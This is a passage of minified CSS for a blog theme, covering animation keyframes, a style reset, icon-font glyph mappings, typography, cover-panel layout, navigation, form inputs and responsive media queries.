skewX(-30deg);opacity:0}}.lightSpeedOut{-webkit-animation-name:lightSpeedOut;-moz-animation-name:lightSpeedOut;-o-animation-name:lightSpeedOut;animation-name:lightSpeedOut;-webkit-animation-timing-function:ease-in;-moz-animation-timing-function:ease-in;-o-animation-timing-function:ease-in;animation-timing-function:ease-in}@-webkit-keyframes hinge{0%{-webkit-transform:rotate(0);-webkit-transform-origin:top left;-webkit-animation-timing-function:ease-in-out}20%, 60%{-webkit-transform:rotate(80deg);-webkit-transform-origin:top left;-webkit-animation-timing-function:ease-in-out}40%{-webkit-transform:rotate(60deg);-webkit-transform-origin:top left;-webkit-animation-timing-function:ease-in-out}80%{-webkit-transform:rotate(60deg) translateY(0);opacity:1;-webkit-transform-origin:top left;-webkit-animation-timing-function:ease-in-out}100%{-webkit-transform:translateY(700px);opacity:0}}@-moz-keyframes hinge{0%{-moz-transform:rotate(0);-moz-transform-origin:top left;-moz-animation-timing-function:ease-in-out}20%, 60%{-moz-transform:rotate(80deg);-moz-transform-origin:top left;-moz-animation-timing-function:ease-in-out}40%{-moz-transform:rotate(60deg);-moz-transform-origin:top left;-moz-animation-timing-function:ease-in-out}80%{-moz-transform:rotate(60deg) translateY(0);opacity:1;-moz-transform-origin:top left;-moz-animation-timing-function:ease-in-out}100%{-moz-transform:translateY(700px);opacity:0}}@-o-keyframes hinge{0%{-o-transform:rotate(0);-o-transform-origin:top left;-o-animation-timing-function:ease-in-out}20%, 60%{-o-transform:rotate(80deg);-o-transform-origin:top left;-o-animation-timing-function:ease-in-out}40%{-o-transform:rotate(60deg);-o-transform-origin:top left;-o-animation-timing-function:ease-in-out}80%{-o-transform:rotate(60deg) translateY(0);opacity:1;-o-transform-origin:top left;-o-animation-timing-function:ease-in-out}100%{-o-transform:translateY(700px);opacity:0}}@keyframes hinge{0%{transform:rotate(0);transform-origin:top left;animation-timing-function:ease-in-out}20%, 60%{transform:rotate(80deg);transform-origin:top left;animation-timing-function:ease-in-out}40%{transform:rotate(60deg);transform-origin:top left;animation-timing-function:ease-in-out}80%{transform:rotate(60deg) translateY(0);opacity:1;transform-origin:top left;animation-timing-function:ease-in-out}100%{transform:translateY(700px);opacity:0}}.hinge{-webkit-animation-name:hinge;-moz-animation-name:hinge;-o-animation-name:hinge;animation-name:hinge}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0px) rotate(0deg)}}@-moz-keyframes rollIn{0%{opacity:0;-moz-transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-moz-transform:translateX(0px) rotate(0deg)}}@-o-keyframes rollIn{0%{opacity:0;-o-transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-o-transform:translateX(0px) rotate(0deg)}}@keyframes rollIn{0%{opacity:0;transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;transform:translateX(0px) rotate(0deg)}}.rollIn{-webkit-animation-name:rollIn;-moz-animation-name:rollIn;-o-animation-name:rollIn;animation-name:rollIn}@-webkit-keyframes rollOut{0%{opacity:1;-webkit-transform:translateX(0px) rotate(0deg)}100%{opacity:0;-webkit-transform:translateX(100%) rotate(120deg)}}@-moz-keyframes rollOut{0%{opacity:1;-moz-transform:translateX(0px) rotate(0deg)}100%{opacity:0;-moz-transform:translateX(100%) rotate(120deg)}}@-o-keyframes rollOut{0%{opacity:1;-o-transform:translateX(0px) rotate(0deg)}100%{opacity:0;-o-transform:translateX(100%) rotate(120deg)}}@keyframes rollOut{0%{opacity:1;transform:translateX(0px) rotate(0deg)}100%{opacity:0;transform:translateX(100%) rotate(120deg)}}.rollOut{-webkit-animation-name:rollOut;-moz-animation-name:rollOut;-o-animation-name:rollOut;animation-name:rollOut}html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,canvas,details,embed,figure,figcaption,footer,header,hgroup,menu,nav,output,ruby,section,summary,time,mark,audio,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:before,blockquote:after{content:'';content:none}q:before,q:after{content:'';content:none}table{border-collapse:collapse;border-spacing:0}body{width:100%;*zoom:1}body:before,body:after{content:"";display:table}body:after{clear:both}@font-face{font-family:"foundation-icons";src:url("../fonts/foundation-icons/foundation-icons.eot");src:url("../fonts/foundation-icons/foundation-icons.eot?") format("embedded-opentype"),url("../fonts/foundation-icons/foundation-icons.woff") format("woff"),url("../fonts/foundation-icons/foundation-icons.ttf") format("truetype"),url("../fonts/foundation-icons/foundation-icons.svg") format("svg");font-weight:normal;font-style:normal}.icon:before{font-family:"foundation-icons";font-style:normal;font-weight:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;display:inline-block;text-decoration:inherit}.icon-address-book:before{content:"\f100"}.icon-alert:before{content:"\f101"}.icon-align-center:before{content:"\f102"}.icon-align-justify:before{content:"\f103"}.icon-align-left:before{content:"\f104"}.icon-align-right:before{content:"\f105"}.icon-anchor:before{content:"\f106"}.icon-annotate:before{content:"\f107"}.icon-archive:before{content:"\f108"}.icon-arrow-down:before{content:"\f109"}.icon-arrow-left:before{content:"\f10a"}.icon-arrow-right:before{content:"\f10b"}.icon-arrow-up:before{content:"\f10c"}.icon-arrows-compress:before{content:"\f10d"}.icon-arrows-expand:before{content:"\f10e"}.icon-arrows-in:before{content:"\f10f"}.icon-arrows-out:before{content:"\f110"}.icon-asl:before{content:"\f111"}.icon-asterisk:before{content:"\f112"}.icon-at-sign:before{content:"\f113"}.icon-background-color:before{content:"\f114"}.icon-battery-empty:before{content:"\f115"}.icon-battery-full:before{content:"\f116"}.icon-battery-half:before{content:"\f117"}.icon-bitcoin-circle:before{content:"\f118"}.icon-bitcoin:before{content:"\f119"}.icon-blind:before{content:"\f11a"}.icon-bluetooth:before{content:"\f11b"}.icon-bold:before{content:"\f11c"}.icon-book-bookmark:before{content:"\f11d"}.icon-book:before{content:"\f11e"}.icon-bookmark:before{content:"\f11f"}.icon-braille:before{content:"\f120"}.icon-burst-new:before{content:"\f121"}.icon-burst-sale:before{content:"\f122"}.icon-burst:before{content:"\f123"}.icon-calendar:before{content:"\f124"}.icon-camera:before{content:"\f125"}.icon-check:before{content:"\f126"}.icon-checkbox:before{content:"\f127"}.icon-clipboard-notes:before{content:"\f128"}.icon-clipboard-pencil:before{content:"\f129"}.icon-clipboard:before{content:"\f12a"}.icon-clock:before{content:"\f12b"}.icon-closed-caption:before{content:"\f12c"}.icon-cloud:before{content:"\f12d"}.icon-comment-minus:before{content:"\f12e"}.icon-comment-quotes:before{content:"\f12f"}.icon-comment-video:before{content:"\f130"}.icon-comment:before{content:"\f131"}.icon-comments:before{content:"\f132"}.icon-compass:before{content:"\f133"}.icon-contrast:before{content:"\f134"}.icon-credit-card:before{content:"\f135"}.icon-crop:before{content:"\f136"}.icon-crown:before{content:"\f137"}.icon-css3:before{content:"\f138"}.icon-database:before{content:"\f139"}.icon-die-five:before{content:"\f13a"}.icon-die-four:before{content:"\f13b"}.icon-die-one:before{content:"\f13c"}.icon-die-six:before{content:"\f13d"}.icon-die-three:before{content:"\f13e"}.icon-die-two:before{content:"\f13f"}.icon-dislike:before{content:"\f140"}.icon-dollar-bill:before{content:"\f141"}.icon-dollar:before{content:"\f142"}.icon-download:before{content:"\f143"}.icon-eject:before{content:"\f144"}.icon-elevator:before{content:"\f145"}.icon-euro:before{content:"\f146"}.icon-eye:before{content:"\f147"}.icon-fast-forward:before{content:"\f148"}.icon-female-symbol:before{content:"\f149"}.icon-female:before{content:"\f14a"}.icon-filter:before{content:"\f14b"}.icon-first-aid:before{content:"\f14c"}.icon-flag:before{content:"\f14d"}.icon-folder-add:before{content:"\f14e"}.icon-folder-lock:before{content:"\f14f"}.icon-folder:before{content:"\f150"}.icon-foot:before{content:"\f151"}.icon-foundation:before{content:"\f152"}.icon-graph-bar:before{content:"\f153"}.icon-graph-horizontal:before{content:"\f154"}.icon-graph-pie:before{content:"\f155"}.icon-graph-trend:before{content:"\f156"}.icon-guide-dog:before{content:"\f157"}.icon-hearing-aid:before{content:"\f158"}.icon-heart:before{content:"\f159"}.icon-home:before{content:"\f15a"}.icon-html5:before{content:"\f15b"}.icon-indent-less:before{content:"\f15c"}.icon-indent-more:before{content:"\f15d"}.icon-info:before{content:"\f15e"}.icon-italic:before{content:"\f15f"}.icon-key:before{content:"\f160"}.icon-laptop:before{content:"\f161"}.icon-layout:before{content:"\f162"}.icon-lightbulb:before{content:"\f163"}.icon-like:before{content:"\f164"}.icon-link:before{content:"\f165"}.icon-list-bullet:before{content:"\f166"}.icon-list-number:before{content:"\f167"}.icon-list-thumbnails:before{content:"\f168"}.icon-list:before{content:"\f169"}.icon-lock:before{content:"\f16a"}.icon-loop:before{content:"\f16b"}.icon-magnifying-glass:before{content:"\f16c"}.icon-mail:before{content:"\f16d"}.icon-male-female:before{content:"\f16e"}.icon-male-symbol:before{content:"\f16f"}.icon-male:before{content:"\f170"}.icon-map:before{content:"\f171"}.icon-marker:before{content:"\f172"}.icon-megaphone:before{content:"\f173"}.icon-microphone:before{content:"\f174"}.icon-minus-circle:before{content:"\f175"}.icon-minus:before{content:"\f176"}.icon-mobile-signal:before{content:"\f177"}.icon-mobile:before{content:"\f178"}.icon-monitor:before{content:"\f179"}.icon-mountains:before{content:"\f17a"}.icon-music:before{content:"\f17b"}.icon-next:before{content:"\f17c"}.icon-no-dogs:before{content:"\f17d"}.icon-no-smoking:before{content:"\f17e"}.icon-page-add:before{content:"\f17f"}.icon-page-copy:before{content:"\f180"}.icon-page-csv:before{content:"\f181"}.icon-page-delete:before{content:"\f182"}.icon-page-doc:before{content:"\f183"}.icon-page-edit:before{content:"\f184"}.icon-page-export-csv:before{content:"\f185"}.icon-page-export-doc:before{content:"\f186"}.icon-page-export-pdf:before{content:"\f187"}.icon-page-export:before{content:"\f188"}.icon-page-filled:before{content:"\f189"}.icon-page-multiple:before{content:"\f18a"}.icon-page-pdf:before{content:"\f18b"}.icon-page-remove:before{content:"\f18c"}.icon-page-search:before{content:"\f18d"}.icon-page:before{content:"\f18e"}.icon-paint-bucket:before{content:"\f18f"}.icon-paperclip:before{content:"\f190"}.icon-pause:before{content:"\f191"}.icon-paw:before{content:"\f192"}.icon-paypal:before{content:"\f193"}.icon-pencil:before{content:"\f194"}.icon-photo:before{content:"\f195"}.icon-play-circle:before{content:"\f196"}.icon-play-video:before{content:"\f197"}.icon-play:before{content:"\f198"}.icon-plus:before{content:"\f199"}.icon-pound:before{content:"\f19a"}.icon-power:before{content:"\f19b"}.icon-previous:before{content:"\f19c"}.icon-price-tag:before{content:"\f19d"}.icon-pricetag-multiple:before{content:"\f19e"}.icon-print:before{content:"\f19f"}.icon-prohibited:before{content:"\f1a0"}.icon-projection-screen:before{content:"\f1a1"}.icon-puzzle:before{content:"\f1a2"}.icon-quote:before{content:"\f1a3"}.icon-record:before{content:"\f1a4"}.icon-refresh:before{content:"\f1a5"}.icon-results-demographics:before{content:"\f1a6"}.icon-results:before{content:"\f1a7"}.icon-rewind-ten:before{content:"\f1a8"}.icon-rewind:before{content:"\f1a9"}.icon-rss:before{content:"\f1aa"}.icon-safety-cone:before{content:"\f1ab"}.icon-save:before{content:"\f1ac"}.icon-share:before{content:"\f1ad"}.icon-sheriff-badge:before{content:"\f1ae"}.icon-shield:before{content:"\f1af"}.icon-shopping-bag:before{content:"\f1b0"}.icon-shopping-cart:before{content:"\f1b1"}.icon-shuffle:before{content:"\f1b2"}.icon-skull:before{content:"\f1b3"}.icon-social-500px:before{content:"\f1b4"}.icon-social-adobe:before{content:"\f1b5"}.icon-social-amazon:before{content:"\f1b6"}.icon-social-android:before{content:"\f1b7"}.icon-social-apple:before{content:"\f1b8"}.icon-social-behance:before{content:"\f1b9"}.icon-social-bing:before{content:"\f1ba"}.icon-social-blogger:before{content:"\f1bb"}.icon-social-delicious:before{content:"\f1bc"}.icon-social-designer-news:before{content:"\f1bd"}.icon-social-deviant-art:before{content:"\f1be"}.icon-social-digg:before{content:"\f1bf"}.icon-social-dribbble:before{content:"\f1c0"}.icon-social-drive:before{content:"\f1c1"}.icon-social-dropbox:before{content:"\f1c2"}.icon-social-evernote:before{content:"\f1c3"}.icon-social-facebook:before{content:"\f1c4"}.icon-social-flickr:before{content:"\f1c5"}.icon-social-forrst:before{content:"\f1c6"}.icon-social-foursquare:before{content:"\f1c7"}.icon-social-game-center:before{content:"\f1c8"}.icon-social-github:before{content:"\f1c9"}.icon-social-google-plus:before{content:"\f1ca"}.icon-social-hacker-news:before{content:"\f1cb"}.icon-social-hi5:before{content:"\f1cc"}.icon-social-instagram:before{content:"\f1cd"}.icon-social-joomla:before{content:"\f1ce"}.icon-social-lastfm:before{content:"\f1cf"}.icon-social-linkedin:before{content:"\f1d0"}.icon-social-medium:before{content:"\f1d1"}.icon-social-myspace:before{content:"\f1d2"}.icon-social-orkut:before{content:"\f1d3"}.icon-social-path:before{content:"\f1d4"}.icon-social-picasa:before{content:"\f1d5"}.icon-social-pinterest:before{content:"\f1d6"}.icon-social-rdio:before{content:"\f1d7"}.icon-social-reddit:before{content:"\f1d8"}.icon-social-skillshare:before{content:"\f1d9"}.icon-social-skype:before{content:"\f1da"}.icon-social-smashing-mag:before{content:"\f1db"}.icon-social-snapchat:before{content:"\f1dc"}.icon-social-spotify:before{content:"\f1dd"}.icon-social-squidoo:before{content:"\f1de"}.icon-social-stack-overflow:before{content:"\f1df"}.icon-social-steam:before{content:"\f1e0"}.icon-social-stumbleupon:before{content:"\f1e1"}.icon-social-treehouse:before{content:"\f1e2"}.icon-social-tumblr:before{content:"\f1e3"}.icon-social-twitter:before{content:"\f1e4"}.icon-social-vimeo:before{content:"\f1e5"}.icon-social-windows:before{content:"\f1e6"}.icon-social-xbox:before{content:"\f1e7"}.icon-social-yahoo:before{content:"\f1e8"}.icon-social-yelp:before{content:"\f1e9"}.icon-social-youtube:before{content:"\f1ea"}.icon-social-zerply:before{content:"\f1eb"}.icon-social-zurb:before{content:"\f1ec"}.icon-sound:before{content:"\f1ed"}.icon-star:before{content:"\f1ee"}.icon-stop:before{content:"\f1ef"}.icon-strikethrough:before{content:"\f1f0"}.icon-subscript:before{content:"\f1f1"}.icon-superscript:before{content:"\f1f2"}.icon-tablet-landscape:before{content:"\f1f3"}.icon-tablet-portrait:before{content:"\f1f4"}.icon-target-two:before{content:"\f1f5"}.icon-target:before{content:"\f1f6"}.icon-telephone-accessible:before{content:"\f1f7"}.icon-telephone:before{content:"\f1f8"}.icon-text-color:before{content:"\f1f9"}.icon-thumbnails:before{content:"\f1fa"}.icon-ticket:before{content:"\f1fb"}.icon-torso-business:before{content:"\f1fc"}.icon-torso-female:before{content:"\f1fd"}.icon-torso:before{content:"\f1fe"}.icon-torsos-all-female:before{content:"\f1ff"}.icon-torsos-all:before{content:"\f200"}.icon-torsos-female-male:before{content:"\f201"}.icon-torsos-male-female:before{content:"\f202"}.icon-torsos:before{content:"\f203"}.icon-trash:before{content:"\f204"}.icon-trees:before{content:"\f205"}.icon-trophy:before{content:"\f206"}.icon-underline:before{content:"\f207"}.icon-universal-access:before{content:"\f208"}.icon-unlink:before{content:"\f209"}.icon-unlock:before{content:"\f20a"}.icon-upload-cloud:before{content:"\f20b"}.icon-upload:before{content:"\f20c"}.icon-usb:before{content:"\f20d"}.icon-video:before{content:"\f20e"}.icon-volume-none:before{content:"\f20f"}.icon-volume-strike:before{content:"\f210"}.icon-volume:before{content:"\f211"}.icon-web:before{content:"\f212"}.icon-wheelchair:before{content:"\f213"}.icon-widget:before{content:"\f214"}.icon-wrench:before{content:"\f215"}.icon-x-circle:before{content:"\f216"}.icon-x:before{content:"\f217"}.icon-yen:before{content:"\f218"}.icon-zoom-in:before{content:"\f219"}.icon-zoom-out:before{content:"\f21a"}html,body{height:100%}html{height:100%;max-height:100%}body{font-family:"Raleway", sans-serif;font-size:1em;color:#666666}::selection{background:#fae3df}::-moz-selection{background:#fae3df}a{text-decoration:none;color:#e25440}a:hover{color:#b9301c;-o-transition:.5s;-ms-transition:.5s;-moz-transition:.5s;-webkit-transition:.5s}h1,h2,h3,h4,h5,h5{margin-top:.8em;margin-bottom:.4em;font-family:"Roboto Slab", serif;font-weight:lighter;color:#333333;-webkit-font-smoothing:antialiased}h1{margin-top:0;font-size:3.2em;line-height:1.2em;letter-spacing:.05em}h2{font-size:2.2em}h3{font-size:1.8em}h4{font-size:1.4em}h4{font-size:1.2em}h5{font-size:1em}p{margin-bottom:1.3em;line-height:1.7em}strong{font-weight:bold}em{font-style:italic}blockquote{margin:1em 0;padding:2em 0;background:#f8f8f8;border:1px solid #eeeeee;border-radius:3px;font-family:"Roboto Slab", serif;font-weight:lighter;font-style:italic;font-size:1.3em;text-align:center}blockquote p:last-child{margin-bottom:0}ol,ul{margin:0 0 1.3em 2.5em}ol li,ul li{margin:0 0 .2em 0;line-height:1.6em}ol ol,ol ul,ul ol,ul ul{margin:.1em 0 .2em 2em}ol{list-style-type:decimal}ul{list-style-type:disc}code{padding:.1em .4em;background:#f0f1f2;border:1px solid #c9e1f6;border-radius:3px;font-family:Consolas, Menlo, Monaco, Lucida Console, Liberation Mono, DejaVu Sans Mono, Bitstream Vera Sans Mono, Courier New, monospace, serif;font-size:.85em}pre{margin-bottom:1.3em;border-radius:3px;font-family:Consolas, Menlo, Monaco, Lucida Console, Liberation Mono, DejaVu Sans Mono, Bitstream Vera Sans Mono, Courier New, monospace, serif;font-size:.9em;font-weight:normal;line-height:1.3em}pre code{padding:0;background:none;border:none}.date,.time,.author,.tags{font-size:.8em;color:#c7c7c7}.date a,.time a,.author a,.tags a{color:#666666}.date a:hover,.time a:hover,.author a:hover,.tags a:hover{color:#b9301c}.excerpt{margin:0;font-size:.9em;color:#999999}.intro{font-family:"Roboto Slab", serif;font-size:1.2em;font-weight:lighter;color:#999999}.block-heading{display:inline;float:left;width:940px;margin:0 10px;position:relative;bottom:-15px;font-size:.8em;font-weight:bold;text-align:center;text-transform:uppercase;letter-spacing:1px}.label{position:relative;display:inline-block;padding:8px 18px 9px 18px;background:#e25440;border-radius:3px;text-align:center;color:#FFF}.container{position:relative;z-index:500;width:940px;margin:0 auto}.content-wrapper{z-index:800;width:70%;margin-left:40%}.content-wrapper__inner{margin:0 10%;padding:50px 0}.footer{display:block;padding:2em 0 0 0;border-top:2px solid #dddddd;font-size:.7em;color:#b3b3b3}.footer__copyright{display:block;margin-bottom:.7em}.footer__copyright a{color:#a6a6a6;text-decoration:underline}.footer__copyright a:hover{color:#b9301c}.avatar,.logo{border-radius:50%;border:3px solid #FFF;box-shadow:0 0 1px 1px rgba(0,0,0,0.3)}hr{border:none}.section-title__divider{width:30%;margin:2.2em 0 2.1em 0;border-top:1px solid #dddddd}.hidden{display:none !important}.post-comments{border-top:1px solid #dddddd;padding:60px 0}.post-meta{margin:0 0 .4em 0;color:#c7c7c7}.post-meta__date{margin-right:.5em}.post-meta__tags{margin-left:.4em}.post-meta__author{margin-left:1.5em}.post-meta__avatar{display:inline-block;width:22px;height:22px;margin:0 .3em -.4em 0;border:none;box-shadow:none}.post img{max-width:100%;margin:0 auto;border-radius:3px;text-align:center}.post pre{width:95%}.post hr{display:block;width:30%;margin:2em 0;border-top:1px solid #dddddd}.error-code{font-size:6em}.panel{display:table;width:100%;height:100%}.panel__vertical{display:table-cell;vertical-align:middle}.panel-title{margin:0 0 5px 0;font-size:2.5em;letter-spacing:4px;color:#FFF}.panel-subtitle{font-family:"Roboto Slab", serif;font-size:1.2em;font-weight:lighter;letter-spacing:3px;color:#cccccc;-webkit-font-smoothing:antialiased}.panel-cover{display:block;position:fixed;z-index:900;width:100%;max-width:none;height:100%;background:url(../images/background-cover.jpg) top left no-repeat #666;background-size:cover}.panel-cover--collapsed{width:40%;max-width:530px}.panel-cover--overlay{display:block;position:absolute;z-index:0;top:0;right:0;bottom:0;left:0;background-color:rgba(68,68,68,0.6);background-image:-webkit-linear-gradient(-410deg, rgba(68,68,68,0.6) 20%, rgba(0,0,0,0.9));background-image:linear-gradient(140deg, rgba(68,68,68,0.6) 20%, rgba(0,0,0,0.9))}.panel-cover__logo{margin-bottom:.2em}.panel-cover__description{margin:0 30px}.panel-cover__divider{width:50%;margin:20px auto;border-top:1px solid rgba(255,255,255,0.14)}.panel-cover__divider--secondary{width:15%}.panel-main{display:table;width:100%;height:100%}.no-js .panel-main{width:40%;max-width:530px}.panel-main__inner{display:table-cell;vertical-align:middle;position:relative;z-index:800;padding:0 60px}.panel-main__content{max-width:620px;margin:0 auto}.panel-main__content--fixed{width:480px;transition:width 1s;-webkit-transition:width 1s}.panel-inverted{font-weight:100;text-align:center;color:#FFF;text-shadow:0 1px 1px rgba(0,0,0,0.4)}.panel-inverted a{color:#FFF}.cover-navigation{margin-top:10px}.cover-navigation--social{margin-left:30px}.cover-green{background-color:rgba(21,111,120,0.6);background-image:-webkit-linear-gradient(-410deg, rgba(21,111,120,0.6) 20%, rgba(6,31,33,0.8));background-image:linear-gradient(140deg, rgba(21,111,120,0.6) 20%, rgba(6,31,33,0.8))}.cover-purple{background-color:rgba(73,50,82,0.6);background-image:-webkit-linear-gradient(-410deg, rgba(73,50,82,0.6) 20%, rgba(17,11,19,0.8));background-image:linear-gradient(140deg, rgba(73,50,82,0.6) 20%, rgba(17,11,19,0.8))}.cover-red{background-color:rgba(119,31,18,0.6);background-image:-webkit-linear-gradient(-410deg, rgba(119,31,18,0.6) 20%, rgba(30,8,5,0.8));background-image:linear-gradient(140deg, rgba(119,31,18,0.6) 20%, rgba(30,8,5,0.8))}.cover-slate{background-color:rgba(61,66,96,0.6);background-image:-webkit-linear-gradient(-410deg, rgba(61,66,96,0.6) 20%, rgba(21,23,34,0.8));background-image:linear-gradient(140deg, rgba(61,66,96,0.6) 20%, rgba(21,23,34,0.8))}.cover-disabled{background:none}.btn,.navigation__item a{padding:10px 20px;border:1px solid #e25440;border-radius:20px;font-size:.9em;font-weight:bold;letter-spacing:1px;text-shadow:none;color:#e25440;-webkit-font-smoothing:antialiased}.btn:hover,.navigation__item a:hover{color:#b9301c;border-color:#b9301c}.btn-secondary{border-color:#5ba4e5;color:#5ba4e5}.btn-secondary:hover{color:#217fd2;border-color:#217fd2}.btn-tertiary{border-color:#999999;color:#999999}.btn-tertiary:hover{color:#737373;border-color:#737373}.btn-large{padding:10px 24px;font-size:1.1em}.btn-small{padding:8px 12px;font-size:.7em}.btn-mobile-menu{display:none;position:fixed;z-index:9999;top:0;right:0;left:0;width:100%;height:42px;background:rgba(0,0,0,0.4);border-bottom:1px solid rgba(255,255,255,0.1);text-align:center}.btn-mobile-menu__icon,.btn-mobile-close__icon{position:relative;top:3px;font-size:36px;color:#FFF}nav{display:inline-block;position:relative}.navigation{display:inline-block;float:left;position:relative;margin:0;list-style-type:none}.navigation__item{display:inline-block;margin:0 2px 0 0;line-height:1em}.navigation__item a{display:block;position:relative;border-color:#FFF;color:#FFF;opacity:.8}.navigation__item a:hover{color:#FFF;border-color:#FFF;opacity:1}.navigation--social{margin-left:1.5em}.navigation--social a{padding:6px 8px 6px 9px}.navigation--social a .label{display:none}.navigation--social a .icon{display:block;font-size:1.7em}.pagination{display:block;margin:0 0 4em 0}.pagination__page-number{margin:0;font-size:.8em;color:#999999}.pagination__newer{margin-right:1em}.pagination__older{margin-left:1em}i{font-family:'entypo';font-weight:normal;font-style:normal;font-size:18px}.icon-social{font-family:'entypo-social';font-size:22px;display:block;position:relative}.post-list{margin:0;padding:0;list-style-type:none;text-align:left}.post-list li{margin:0 0 2.2em 0}.post-list li:last-child hr{display:none}.post-list__post-title{margin-top:0;margin-bottom:.2em;font-size:1.5em;line-height:1.3em}.post-list__post-title a{color:#333333}.post-list__post-title a:hover{color:#b9301c}.post-list__meta{display:block;margin:.7em 0 0 0;font-size:.9em;color:#c7c7c7}.post-list__meta--date{margin-right:.5em;color:#c7c7c7}.post-list__meta--tags{margin-left:.5em}.post-list__divider{width:30%;margin:2.2em 0 2.1em 0;border-top:1px solid #dddddd}*:focus{outline:none}input[type="text"],input[type="password"],input[type="datetime"],input[type="datetime-local"],input[type="date"],input[type="month"],input[type="time"],input[type="week"],input[type="number"],input[type="email"],input[type="url"],input[type="search"],input[type="tel"]{width:240px;padding:1em 1em;background:#FFF;border:1px solid #dddddd;border-radius:3px;font-size:.9em;color:#666666}input[type="text"]:focus,input[type="password"]:focus,input[type="datetime"]:focus,input[type="datetime-local"]:focus,input[type="date"]:focus,input[type="month"]:focus,input[type="time"]:focus,input[type="week"]:focus,input[type="number"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="search"]:focus,input[type="tel"]:focus{border-color:#5ba4e5}input[type="text"]::-webkit-input-placeholder,input[type="password"]::-webkit-input-placeholder,input[type="datetime"]::-webkit-input-placeholder,input[type="datetime-local"]::-webkit-input-placeholder,input[type="date"]::-webkit-input-placeholder,input[type="month"]::-webkit-input-placeholder,input[type="time"]::-webkit-input-placeholder,input[type="week"]::-webkit-input-placeholder,input[type="number"]::-webkit-input-placeholder,input[type="email"]::-webkit-input-placeholder,input[type="url"]::-webkit-input-placeholder,input[type="search"]::-webkit-input-placeholder,input[type="tel"]::-webkit-input-placeholder{color:#cccccc}input[type="text"]::-moz-placeholder,input[type="password"]::-moz-placeholder,input[type="datetime"]::-moz-placeholder,input[type="datetime-local"]::-moz-placeholder,input[type="date"]::-moz-placeholder,input[type="month"]::-moz-placeholder,input[type="time"]::-moz-placeholder,input[type="week"]::-moz-placeholder,input[type="number"]::-moz-placeholder,input[type="email"]::-moz-placeholder,input[type="url"]::-moz-placeholder,input[type="search"]::-moz-placeholder,input[type="tel"]::-moz-placeholder{color:#cccccc}input[type="text"]:-moz-placeholder,input[type="password"]:-moz-placeholder,input[type="datetime"]:-moz-placeholder,input[type="datetime-local"]:-moz-placeholder,input[type="date"]:-moz-placeholder,input[type="month"]:-moz-placeholder,input[type="time"]:-moz-placeholder,input[type="week"]:-moz-placeholder,input[type="number"]:-moz-placeholder,input[type="email"]:-moz-placeholder,input[type="url"]:-moz-placeholder,input[type="search"]:-moz-placeholder,input[type="tel"]:-moz-placeholder{color:#cccccc}input[type="text"]:-ms-input-placeholder,input[type="password"]:-ms-input-placeholder,input[type="datetime"]:-ms-input-placeholder,input[type="datetime-local"]:-ms-input-placeholder,input[type="date"]:-ms-input-placeholder,input[type="month"]:-ms-input-placeholder,input[type="time"]:-ms-input-placeholder,input[type="week"]:-ms-input-placeholder,input[type="number"]:-ms-input-placeholder,input[type="email"]:-ms-input-placeholder,input[type="url"]:-ms-input-placeholder,input[type="search"]:-ms-input-placeholder,input[type="tel"]:-ms-input-placeholder{color:#cccccc}@media all and (min-width: 1300px){.content-wrapper{margin-left:530px}}@media all and (max-width: 1100px){.panel-cover__logo{width:70px}.panel-title{font-size:2em}.panel-subtitle{font-size:1em}.panel-cover__description{margin:0 10px;font-size:.9em}.navigation--social{margin-top:5px;margin-left:0}}@media all and (max-width: 960px){.btn-mobile-menu{display:block}.panel-main{display:table;position:relative}.panel-cover--collapsed{width:100%;max-width:none}.panel-main__inner{display:table-cell;padding:60px 10%}.panel-cover__description{display:block;max-width:600px;margin:0 auto}.panel-cover__divider--secondary{display:none}.panel-cover{width:100%;height:100%;background-position:center center}.panel-cover.panel-cover--collapsed{display:block;position:relative;height:auto;padding:0;background-position:center center}.panel-cover.panel-cover--collapsed .panel-main__inner{display:block;padding:70px 0 30px 0}.panel-cover.panel-cover--collapsed .panel-cover__logo{width:60px;border-width:2px}.panel-cover.panel-cover--collapsed .panel-cover__description{display:none}.panel-cover.panel-cover--collapsed .panel-cover__divider{display:none;margin:1em auto}.navigation-wrapper{display:none;position:fixed;top:42px;right:0;left:0;width:100%;padding:20px 0;background:rgba(51,51,51,0.98);border-bottom:1px solid rgba(255,255,255,0.15)}.navigation-wrapper.visible{display:block}.cover-navigation{display:block;position:relative;float:left;clear:left;width:100%}.cover-navigation .navigation{display:block;width:100%}.cover-navigation .navigation li{width:80%;margin-bottom:.4em}.cover-navigation.navigation--social{padding-top:5px}.cover-navigation.navigation--social .navigation li{display:inline-block;width:25.8%}.content-wrapper{width:80%;max-width:none;margin:0 auto}.content-wrapper__inner{margin-right:0;margin-left:0}.navigation__item{width:100%;margin:0 0 .4em 0}}@media all and (max-width: 340px){.panel-main__inner{padding:0 5%}.panel-title{margin-bottom:.1em;font-size:1.5em}.panel-subtitle{font-size:.9em}.btn,.navigation__item a{display:block;margin-bottom:.4em}}table{margin-bottom:1.3em}table thead{font-weight:bold}table thead th{text-align:left;border-bottom:4px solid #888;font-weight:bold;padding:12px;vertical-align:middle}table tr:nth-child(even) td{background:#eee}table tr td{padding:12px}pre.highlight,.highlight pre{background-color:#f0f0f0}.highlight .hll{background-color:#272822}.highlight .c{color:#75715e}.highlight .err{color:#960050;background-color:#1e0010}.highlight .k{color:#66d9ef}.highlight .l{color:#ae81ff}.highlight .n{color:#f8f8f2}.highlight .o{color:#f92672}.highlight .p{color:#f8f8f2}.highlight .cm{color:#75715e}.highlight .cp{color:#75715e}.highlight .c1{color:#75715e}.highlight .cs{color:#75715e}.highlight .ge{font-style:italic}.highlight .gs{font-weight:bold}.highlight .kc{color:#66d9ef}.highlight .kd{color:#66d9ef}.highlight .kn{color:#f92672}.highlight .kp{color:#66d9ef}.highlight 